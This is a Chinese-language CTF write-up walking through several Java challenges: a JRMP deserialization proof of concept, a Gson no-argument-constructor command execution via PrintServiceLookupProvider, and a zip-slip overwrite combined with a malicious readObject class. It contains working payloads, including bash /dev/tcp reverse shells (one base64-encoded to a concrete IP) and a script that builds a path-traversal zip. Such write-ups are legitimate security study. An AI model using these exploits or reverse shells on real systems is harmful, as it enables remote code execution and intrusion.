import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.*;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Base64;

public class POC {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjID objID=new ObjID();
        TCPEndpoint tcpEndpoint=new TCPEndpoint("127.0.0.1",8081); //vps-ip
        LiveRef liveRef=new LiveRef(objID,tcpEndpoint,false);
        UnicastRef unicastRef=new UnicastRef(liveRef);
        RemoteObjectInvocationHandler remote=new RemoteObjectInvocationHandler(unicastRef);

        ByteArrayOutputStream byteArrayOutput=new ByteArrayOutputStream();
        ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutput);
        outputStream.writeObject(remote);
        outputStream.close();
//创建一个远程对象的引用和调用处理程序,进行序列化写入,反序列化向VPS进行请求
        byte[] bytes=byteArrayOutput.toByteArray();
        String res = Base64.getEncoder().encodeToString(bytes);
        System.out.println(res);
    }
//java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8081 Jackson1 "calc.exe" 起JRMP服务器
}

image-20240304141726105

[N1CTF]Gson反序列化

GsonGoogle提供的一个用于在Java对象和JSON数据之间进行序列化和反序列化的开源库。它可以帮助Java开发者方便地将Java对象转换为JSON格式的数据,或者将JSON数据转换为Java对象。这使得在Java应用中处理JSON数据变得非常简单。这也是我第一次在CTF题中见到Gson,所以得调试一下。

在调用fromJson进行反序列化的实会,首先会通过TypeToken.get获取泛型信息,应该是为了通过得到这个泛型信息,也就是类的信息,完成对应类的反序列化,这里指的是Person 类。

image-20240402092746582

进入下一部分的fromJson,判断传入的反序列化Json是否为空,如果不为空,则通过字符串读取流读取信息,再调用另外的fromJson方法。

image-20240402093014662

创建了一个JsonReader类用于逐步解析JSON数据,这里JSONReader默认设置lenientFalse,也就是严格模式,不允许JSON字符串有任何的不符合规范的偏差。

image-20240402093203622

首先将lenient设置为true,变成了宽松模式,尝试从JsonReader中读取下一个JSON数据类型信息,然后通过getAdapter获取到泛型信息typeOfT的对应的适配器对象,这里可以看到typeAdapter对象中有Person类的构造器constructorimage-20240402093609012

进入到read方法中,会检查下一个JSON流的标志是否为空,如果为空,则跳过null值返回null,这里为BEGIN_OBJECT,为创建一个accumulator累加器对象,用于累积要解析的JSON数据。

image-20240402094131312

在创造累加器的方法中,会拿到Person类的构造方法,并执行newInstance实例化构造函数,这里是无参的构造函数。

image-20240402094614064

image-20240402094659068

后面就是开始解析成Object对象,循环遍历JSON对象中的属性,从从映射中获取与属性名称匹配的字段,判断字段是否存在并已反序列化,是则跳过,不是则通过readField读取字段的值,最终调用 finalize() 方法对累加器对象进行处理,并返回解析后的对象。

image-20240402094921834

所以Gson反序列化fromJson恢复属性是通过反射匹配field字段来设置值进行还原的,实现它会获取目标类的无参构造函数,并调用newInstance来进行实例化类。

回到题目,题目代码很简短, 就是通过URL输入还原的类名和一串Base64字符串,然后还原成对象。如下:

image-20240402101519380

前面所说的Json反序列化能够进入类的无参构造方法,如果存在一个类的无参构造方法能够直接进行RCE,那么就可以打穿这题。

这里利用到的是提供打印和注册服务PrintServiceLookup类,在它的无参构造如下:

public PrintServiceLookupProvider() {
    if (pollServices) {
        Thread thr = new Thread((ThreadGroup)null, new PrinterChangeListener(), "PrinterListener", 0L, false);
        thr.setDaemon(true);
        thr.start();
        IPPPrintService.debug_println(debugPrefix + "polling turned on");
    }

PrinterChangeListener中,会调用refreshServices方法,而refreshServices方法会调用getAllPrinterNamesBSD,这个方法如下:

private String[] getAllPrinterNamesBSD() {
    if (cmdIndex == -1) {
        cmdIndex = getBSDCommandIndex();
    }

    String[] names = execCmd(this.lpcAllCom[cmdIndex]);
    return names != null && names.length != 0 ? names : null;
}
只需要传入的参数是lpcAllCom,控制里面为命令,那么就能进行命令执行,需要注意的是这个方法并没有继承反序列化,因为不能够用于原生反序列化,并且这种方法Windows系统中JDK是不一样的,题目环境是在JDK11以上

payload

/api/sun.print.PrintServiceLookupProvider/eyJscGNBbGxDb20iOlsiL2Jpbi9iYXNoIC1jICAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzLjEzNy82NjY2IDA+JjEnIiwiL2Jpbi9iYXNoIC1jICAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzLjEzNy82NjY2IDA+JjEnIl19

image-20240402111943221

zipfile文件覆盖+普通反序列化

关于zipEntry漏洞的链接:zipEntry文件覆盖漏洞

题目中也存在着zip的文件覆盖漏洞,是因为zipEntry.getName()可控,导致了filename能够被穿越导致的。image-20240402115706292

题目中定义了一个文件上传的接口和一个反序列化的接口

    @PostMapping({"/upload"})
    @ResponseBody
    public Information upload(@RequestPart MultipartFile file) throws Exception {
        Information information = new Information();
        String allowed = ".*(\\.zip)$";
        String filename = file.getOriginalFilename();
        if (!Pattern.matches(allowed, filename)) {
            information.status = 0;
            information.text = "仅支持zip格式";
            return information;
        } else {
            InputStream inputStream = file.getInputStream();
            byte[] b = new byte[4];
            inputStream.read(b, 0, b.length);
            String header = Coding.bytesToHexString(b).toUpperCase();
            if (!header.equals("504B0304")) {
                information.status = 0;
                information.text = "hacker!";
                return information;
            } else {
                String filepath = this.path + "/" + filename;
                File res = new File(filepath);
                if (res.exists()) {
                    information.status = 0;
                    information.text = "文件已存在";
                    return information;
                } else {
                    Files.copy(file.getInputStream(), res.toPath(), new CopyOption[0]);
                    String path = filepath.replace(".zip", "");
                    File dir = new File(path);
                    dir.mkdirs();
                    Unzip.unzip(res, information, path);
                    information.status = 1;
                    information.filename = filepath;
                    information.text = "上传成功";
                    return information;
                }
            }
        }
    }

    @GetMapping({"/deserialize"})
    public void deserialize(@RequestParam("b64str") String b64str) throws Exception {
        byte[] serialized = Base64.getDecoder().decode(b64str);
        ByteArrayInputStream bis = new ByteArrayInputStream(serialized);
        SafeObjectInputStream ois = new SafeObjectInputStream(bis);
        ois.readObject();
    }

自定义了的反序列化器,禁用了仅有的能用的几个类。

import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.HashSet;
import java.util.Set;

public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> BLACKLIST = new HashSet();

    public SafeObjectInputStream(InputStream is) throws Exception {
        super(is);
    }

    protected Class<?> resolveClass(ObjectStreamClass input) throws IOException, ClassNotFoundException {
        if (BLACKLIST.contains(input.getName())) {
            throw new SecurityException("Hacker!!");
        } else {
            return super.resolveClass(input);
        }
    }

    static {
        BLACKLIST.add("com.fasterxml.jackson.databind.node.POJONode");
        BLACKLIST.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        BLACKLIST.add("java.lang.Runtime");
        BLACKLIST.add("java.security.SignedObject");
    }
}

同时还使用了spring-security/admin的路径进行了鉴权处理,但是却使用了actuator暴露了heapdump的接口,附件中给出的密码是假的,应该是可以从heapdump中获取到密码,如果说这里还使用了WebFlux,是可以通过CVE-2023-34034绕过的。

image-20240402115920883

这里通过springboot文件泄露获取到密码,前面的某道题也有谈到,这里就不说了。后面事实上只需要通过将一个恶意的重写了readObject的类文件覆盖到。

写一个恶意的类继承序列化接口:

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class attack implements Serializable {
    private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException {
        objectInputStream.defaultReadObject();
        Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/ip/port 0>&1"});

    }
}

打包成zip包,上传进行任意文件覆盖,然后直接传入序列化该恶意的base64字符串即可进行RCE。

import zipfile

if __name__ == "__main__":
    try:
        zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("poc.zip")
        zipFile.write("./attack.class", "../../../usr/java/jdk-8/jre/lib/attack.class", zipfile.ZIP_DEFLATED)
        zipFile.close()
    except IOError as e:
        raise e
~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:CTFCTF
文章标题:记几道JAVA题
文章链接:https://aiwin.fun/index.php/archives/4393/
最后编辑:2024 年 4 月 2 日 15:43 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 2 + 7 =
快来做第一个评论的人吧~